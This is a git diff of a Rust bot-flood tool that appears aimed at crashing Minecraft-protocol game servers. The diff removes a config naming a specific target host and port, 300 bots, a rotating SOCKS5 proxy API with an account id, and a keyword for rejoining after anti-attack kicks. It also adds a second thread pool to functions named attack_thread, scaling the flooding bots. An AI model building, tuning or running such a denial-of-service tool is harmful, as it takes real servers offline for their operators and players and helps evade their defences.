diff --git a/.gitignore b/.gitignore index 2923626..d8179bf 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ /target /.idea -/我是崩服小能手 \ No newline at end of file +/我是崩服小能手 +/config.json \ No newline at end of file diff --git a/config.json b/config.json deleted file mode 100644 index 90430f3..0000000 --- a/config.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "server_ip": "m.earthvillage.top", - "server_port": "33009", - "username_prefix": "", - "count": 300, - "proxy_url": "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json", - "reco_words": [ - "AntiAttack" - ], - "login_commands": [], - "spam_file": "", - "spam_delay_ms": 0, - "random_prefix": false, - "worker_threads": 100, - "use_thread_pool": true -} \ No newline at end of file diff --git a/src/bot_socks5.rs b/src/bot_socks5.rs index b698a66..1e176d3 100644 --- a/src/bot_socks5.rs +++ b/src/bot_socks5.rs @@ -239,12 +239,14 @@ impl Bot { 0x1A => {// 断连包 // disconnect self.handle_disconnect(&mut packet).await?; + status_tx.send(2).unwrap(); break; } 0x00 => {// 版本不匹配啥的就会走这 if self.status == 0{ let text = packet.read_string()?; println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str())); + status_tx.send(2); break; } } @@ -321,7 +323,7 @@ impl Bot { iter += 1; } sleep(Duration::from_millis(1)); - flag = self.conn.lock().await.is_alive(); + flag = self.conn.lock().await.is_alive() && status!=2; } println!("[{}/WORKER] Worker stopped.", self.username); } diff --git a/src/configuration.rs b/src/configuration.rs index 39890e2..8145054 100644 --- a/src/configuration.rs +++ b/src/configuration.rs @@ -15,7 +15,8 @@ pub struct Configuration { spam_delay_ms: i32, random_prefix: bool, pub worker_threads: i32, - pub use_thread_pool: bool + pub use_thread_pool: bool, + pub update_worker_threads: i32 } impl Configuration { @@ -65,6 +66,7 @@ impl Configuration { random_prefix: false, worker_threads: 100, use_thread_pool: true, + update_worker_threads: 100, } } diff --git a/src/main.rs b/src/main.rs index ee1bb4a..ca0f515 100644 --- a/src/main.rs +++ b/src/main.rs @@ -7,6 +7,7 @@ mod configuration; use bot_socks5::BotVariable; use reqwest; use serde_json::Value; +use tokio::runtime::Runtime; // use tokio::task; use std::sync::Arc; use std::thread; @@ -53,11 +54,19 @@ async fn main() { .worker_threads(configuration_rc.worker_threads as usize) .build() .unwrap(); + + let rt_update = Arc::new(tokio::runtime::Builder::new_multi_thread() + .enable_all() + .thread_stack_size(8*1024*1024) + .worker_threads(configuration_rc.update_worker_threads as usize) + .build() + .unwrap()); for _ in 0..configuration_rc.count() -1 { let lock_clone = thread_lock.clone(); let configuration_rc_clone = configuration_rc.clone(); let variables_clone = variables.clone(); + let rt_update_clone = rt_update.clone(); // let handle = tokio::spawn(async move { // attack_thread(lock_clone).await; // println!("[MAIN] Thread {} created", i); @@ -66,7 +75,7 @@ async fn main() { // let handle = tokio::task::spawn(attack_thread(lock_clone,configuration_rc_clone,variables_clone)); // let handle; if configuration_rc.use_thread_pool { - rt.spawn(attack_thread(lock_clone,configuration_rc_clone,variables_clone)); + rt.spawn(attack_thread(lock_clone,configuration_rc_clone,variables_clone,rt_update_clone)); }else{ thread::spawn(move || { tokio::runtime::Builder::new_current_thread() @@ -75,7 +84,7 @@ async fn main() { .build() .unwrap() .block_on(async move { - attack_thread(lock_clone,configuration_rc_clone,variables_clone).await; + attack_thread(lock_clone,configuration_rc_clone,variables_clone,rt_update_clone).await; // println!("[MAIN] Thread {} created", i); }); }); @@ -90,11 +99,12 @@ async fn main() { let lock_clone = thread_lock.clone(); let configuration_rc_clone = configuration_rc.clone(); let variables_clone = variables.clone(); - attack_thread(lock_clone, configuration_rc_clone, variables_clone).await; + let rt_update_clone = rt_update.clone(); + attack_thread(lock_clone, configuration_rc_clone, variables_clone,rt_update_clone).await; } // 用于殴打的线程 -async fn attack_thread(lock: Arc>, config: Arc, variables: Arc) -> () { +async fn attack_thread(lock: Arc>, config: Arc, variables: Arc,rt_update: Arc) -> () { loop { // 请求proxy(如果有) let username = generate_username(&config); @@ -149,7 +159,7 @@ async fn attack_thread(lock: Arc>, config: Arc, variabl // 插入生成update_worker线程的代码 let mut bot_clone = bot.clone(); let (tx, rx) = tokio::sync::mpsc::unbounded_channel::(); - tokio::spawn(async move { + rt_update.spawn(async move { bot_clone.update_worker(rx).await; }); match bot.run(tx).await {